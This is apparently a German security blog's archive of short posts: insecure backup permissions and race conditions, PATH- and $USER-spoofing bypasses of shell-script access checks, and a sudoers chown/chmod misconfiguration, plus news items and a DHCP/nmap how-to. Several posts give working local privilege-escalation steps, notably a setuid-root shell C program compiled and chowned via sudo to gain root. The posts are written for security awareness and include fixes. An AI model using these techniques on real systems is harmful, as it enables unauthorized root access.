Archive for the ‘hacks’ Category
Auch immer wieder gesehen: falsche Berechtigungen von Backups.
[user@srv2342 ~]$ ls -l /opt/backup
-rw-r--r-- 1 root root 2,6M 09. Apr 20:30 etc-20100409.tgz
-rw-r--r-- 1 root root 2,6M 10. Apr 20:30 etc-20100410.tgz
-rw-r--r-- 1 root root 2,6M 11. Apr 20:30 etc-20100411.tgz
-rw-r--r-- 1 root root 2,6M 12. Apr 20:30 etc-20100412.tgz
Natürlich war auch die /etc/shadow enthalten… john macht damit bekanntlich meist kurzen Prozess.
Beliebt sind scheinbar auch Scripte, die etwas der folgenden Art machen, um Backups zu erstellen und die Rechte korrekt zu setzen:
tar -czf /opt/backup/etc-backup.tgz /etc
chmod 600 /opt/backup/etc-backup.tgz
Hier entsteht eine klassische Race-Condition. Falls der Angreifer die Platten verlangsamt (z.B. per dd) und/oder eine while true Schleife nutzt, die er kurz vor Backupbeginn startet, kann er evtl. Teile oder das gesamte Backup kopieren.
Besser: Global umask 0027 setzen. Falls nicht möglich (z.B. Firmen-Policy), einfach vor dem Aufruf von tar ausführen:
umask 0027
tar -czf /opt/backup/etc-backup.tgz /etc
Backups müssen genauso wie die Originaldaten behandelt werden und gehören nicht nach /tmp oder mit unsicheren Dateirechten sonstwohin.
Tim schlug hier vor, im Vorpost etwas anderes zur Authentifizierung als $USER zu nutzen: id. Auch das ist unsicher, wenn man es falsch macht. Ich benutze hier einfach mal die UIDs statt der Usernamen. Der folgende Code wäre dann die id-Variante, wer findet das Sicherheitsproblem? 
#!/bin/bash
if [ "$(id -u)" != "1001" ] && [ "$(id -u)" != "1002" ]
then
echo "Zugriff verweigert."
else
echo OK
[...]
echo "$(date) Domain $1 gelöscht durch $USER" >> /var/log/domainlog
fi
Umgehen kann man es jedoch wieder trivial, man erstelle ~/id:
[stefan@srv2342 ~]$ sh authme.sh
Zugriff verweigert.
[stefan@srv2342 ~]$ echo "echo 1001" > ~/id
[stefan@srv2342 ~]$ chmod +x ~/id
[stefan@srv2342 ~]$ PATH=".:$PATH" sh authme.sh
OK
[stefan@srv2342 ~]$
Wir haben hier PATH so geändert, dass zuerst im aktuellen Pfad nach id Datei gesucht wird – die Datei haben wir grade angelegt und sie gibt aus, was das Script als Antwort sehen möchte. Whoops! ;D
Um die Security awareness etwas zu erhöhen, habe ich überlegt, noch ein paar witzige Schnippsel zu posten! Vielleicht entdeckt ja jemand auch etwas, das er selbst mal gemacht hat!
Hier folgt nun ein sinngemäßer Auszug aus einem Script, das bei einem ISP sehr kritische Aktionen für Domains ausführt:
#!/bin/bash
if [ "$USER" != "franz" ] && [ "$USER" != "karl" ]
then
echo "Zugriff verweigert."
else
[...]
echo "$(date) Domain $1 gelöscht durch $USER" >> /var/log/domainlog
fi
Wichtig ist hier vor allem das Audit Log. Umgehen kann man es jedoch trivial:
USER=franz ./domain-delete.sh [domain]
Leider bedachte der Programmierer nicht, dass $USER natürlich trivial von jedem Shelluser geändert werden kann. Das Audit-Log würde ggfs. sehr unerfreuliche Folgen haben.
Bessere Lösung: sudo benutzen und nur den zwei Usern, die es wirklich benötigen, Rechte auf das Script gewähren.
Auf einem Webserver fand ich kürzlich eine sudoers-Zeile, die einem User erlaubte, chmod und chown für ein bestimmtes Verzeichnis (/foo) auszuführen. Sowas sollte man tunlichst vermeiden.
user@srv2342: ~> id
uid=1007(user) gid=100(users) groups=16(dialout),33(video),100(users)
Ich brauche zuerst ein kleines C-Tool:
user@srv2342: ~> cat > /foo/y.c
#include
int main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
STRG-D
Compilieren:
user@srv2342:/foo> cd /foo; gcc y.c -o y
Jetzt machen wir sudo-magic und erhalten ein SetUID-Bit:
user@srv2342:/foo> sudo /bin/chown 0:0 /foo/y
user@srv2342:/foo> sudo /bin/chmod 4775 /foo/y
user@srv2342:/foo ls -l
total 16
-rwsrwxr-x 1 root root 9217 Mar 26 14:52 y
-rw-r----- 1 user users 101 Mar 26 14:51 y.c
Root werden:
user@srv2342:/foo> ./y
srv2342:/foo # id
uid=0(root) gid=0(root) groups=16(dialout),33(video),100(users)
Owned!
Eventuell habt ihr schon davon gelesen, es wurde in diverse Red Hat und Fedora Server eingebrochen. Laut RHSA-2008-0855 hat der Angreifer seinen Zugriff genutzt, um veränderte OpenSSH Pakete zu signieren. Autsch. Laut der Meldung ist man nicht in Gefahr, wenn man das “Red Hat Network” zum Updaten seiner Pakete benutzt.
Leider gibt es keine Informationen darüber, wie die Angreifer die Server gehackt haben, wer etwas darüber weiß, möge hier bitte kommentieren!
Nachdem ich gestern schon angefangen hatte, einen Beitrag dazu zu schreiben, hat es sich nun wie ein Lauffeuer verbreitet, auch Heise berichtete: das CITP (Center for Information Technology) hat ein Video und Dokument dazu veröffentlich, dass man RAM Bausteine auch nach einem Reboot auslesen und eventuell vorhande Cryptokeys wiederherstellen kann.
Die Technik ist nicht ganz neu, denn schon auf dem Chaos Communication Camp 2007 habe ich einen Vortrag gehört, in dem sie beschrieben wurde. Neu ist nun allerdings, dass RAM gekühlt und erst danach umgebaut wurde, sodass der Baustein seine Daten langsamer “vergisst” und dann im PC eines Forensikers ausgelesen werden kann. Ein USB-Boot mit passender Software am Rechner des “Übeltäters” reicht ja aber auch.
Gegenmaßnahmen gibt es bisher nicht und das wird auch schwierig (wenn nicht gar unmöglich) werden – spontan fällt mir dazu nur ein, dass man den ganzen PC aufbruchsicher in einem Safe verpacken könnte….
Oder man benutzt Crypto-Hardware, die on-the-fly alles im RAM verschlüsselt und den Key bei jedem Reboot des Systems ändert (und den Key natürlich nicht in einem DRAM speichert).
Youtube Video
Ein kleiner Nachtrag: der Vortrag Port Scanning improved (auf dem Congress auch nmap-bash-talk genannt) von FX und (hauptsächlich) fabs war sehr gut! Ich freue mich bereits auf das Release des Kernelspace Portscanners “Portbunny” im Januar (die müssen noch ein paar Lizenzfragen klären)! Der Scanner nutzt eine andere Vorgehensweise als z.B. nmap um herauszufinden wie schnell ein Host gescannt werden kann. Schaut euch die Videos im Archiv an!
Grade war übrigens die Demo – war schon recht viel los! Leider konnte ich nicht mitlaufen, darum kann ich nicht besonders viele Infos dazu geben, außer dass der Zug etwa 30m unterwes war und die Polizei mit mehreren Wagen und geschätzen 50 (?) Mann anwesend war.
[Update]:
Portbunny ist nun verfügbar: http://recurity-labs.com/portbunny/portbunny.html !
Fast jeder, der ein Büronetz zu betreuen hat, kennt DHCP. Im Folgenden werde ich einige Vor- und Nachteile erläutern:
Üblicherweise genannte Vorteile:
- Maschine anstecken, geht!
- das klappt bei jedem, wenig Konfigurationsaufwand
- jeder hat eine IP, nichts wird doppelt vergeben
Nachteile:
- Man kann auch zu doof für DHCP sein! Es gibt Leute, die ihren Laptop alle paar Wochen mitbringen, den hochfahren, bevor sie das LAN-Kabel reinstecken und sich anschließend jedes Mal wundern, dass die Domänenanmeldung nicht funktioniert…
- Oftmals geben sich Mitarbeiter “mal eben kurz” eine andere IP Adresse, weil irgendwas im Netzwerk nicht klappt (meist PEBCAK Fehler), einige scheinen das für ein Allheilmittel zu halten. Besonders beliebt sind durch 10 teilbare Adressen und 23, 42, 69, 111, 123 und 222, die der gedächtnisschwache Admin an irgendwelche unwichtige Geräte wie z.B. Printserver, Router, Managebare Switche vergeben hat. Leider darf man auch nicht jedem Adminrechte entziehen.
- Der 2. DHCP Server, den irgendwer im Netzwerk versteckt hat und der IPs vergibt, die in einem andere Netz sind! Besonders bei chaotischer Verkabelung macht das lustige Suchen sehr viel Spass, vor allem wenn es sich bei dem Gerät um eins handelt, dass SOHO-Switch-größe hat, keinerlei Beschriftung, von einem Mitarbeiter mitgebraucht und unterm Tisch versteckt wurde, um ab und zu mal einen Laptop dran anschließen zu können.
- Die IPs wechseln, wenn die Lease-Zeit zu kurz ist; beim Kopieren von Daten zu jemand anderem, muss man immer die IP erfragen. Man will nicht immer den Umweg über eine Server-Freigabe machen (ich sage nur: Datenbankdumps…). Ewig lange lease-Zeiten (10 Jahre, als “Hack” damit jeder immer die selbe IP bekommt) bewirken, dass irgendwann keine IPs mehr vergebbar sind. Beides endet darin, dass sich jeder selbst eine IP einstellt, was vor allem dann ziemlich blöde ist, wenn er sich eine IP in der DHCP-Range gibt; dann bekommen auch diejenige, die nichts geändert haben Probleme. (2 Leute kommen ins Büro: “Duuu, ich habe hier so einen IP-Adresskonflikt, dabei habe ich garnichts gemacht!)
Wenn schon DHCP, dann mit festen IPs, die PCs werden anhand der MAC zu einer IP geordnet. Oftmals hört man, die Umstellung wäre viel zu aufwendig und andere Ausreden, vor allem von Windows-Admins. Ich will hier nun kurz das Gegenteil beweisen.
Scannen des Netzwerkes nach lebenden PCs (ja, mal sollte vorher schon alle anschalten):
nmap -sP -P0 -PR -T5 192.168.0.0/24 -oX mynet.xml
Dann noch etwas rumschnippeln (ich weiß, quick and dirty aber für einmalige Anwendung muss es eben nicht 100% perfekt sein):
grep up -A1 mynet.xml | grep addrtype=\"ipv4\" | awk -F\" '{print $2}' | while read IP
do
MAC=`grep -F ${IP}\" mynet.xml -A1 | grep addrtype=\"mac\" | awk -F\" '{print $2}'`
if [ "$MAC" != "" ]
then
printf "${IP} ${MAC}n"
#template $IP $MAC >> /etc/dhcp/dhcpd.conf
MAC=
fi
done
Der Output sieht dann z.B. so aus:
192.168.0.1 00:59:FC:C2:B1:ED
192.168.0.2 00:5f:DA:43:5B:20
192.168.0.3 00:41:8C:38:71:84
192.168.0.4 00:12:49:10:59:40
Wer schlau ist, übergibt das ganze gleich an eine Funktion, indem der Aufruf für die template-Funktion einkommentiert und folgendes Codestückchen an den Anfang des Bash-Scripts gepackt wird:
template()
{
cat <<eof
host pc-$2
{
hardware ethernet $2;
option subnet-mask 255.255.225.0;
fixed-address $1;
option broadcast-address 192.168.0.255;
option routers 192.168.0.1;
option domain-name-servers 192.168.0.2;
option domain-name "fun.de";
}
EOF
}
So bekommt man eine schöne Liste für den ISC DHCP und das Ganze geht – da ich euch den Code einfach in die Hand drücke – in etwa 10 Minuten, wenn man nach der Ausführung noch kontrolliert, ob alles wirklich ok ist.
Übrigens sollte man im LAN generell noch ein Tool wie z.B. arpcheck einsetzen, um IP-klauende oder private Geräte anschließende Mitarbeiter sowie ARP-Spoofing entdecken zu können
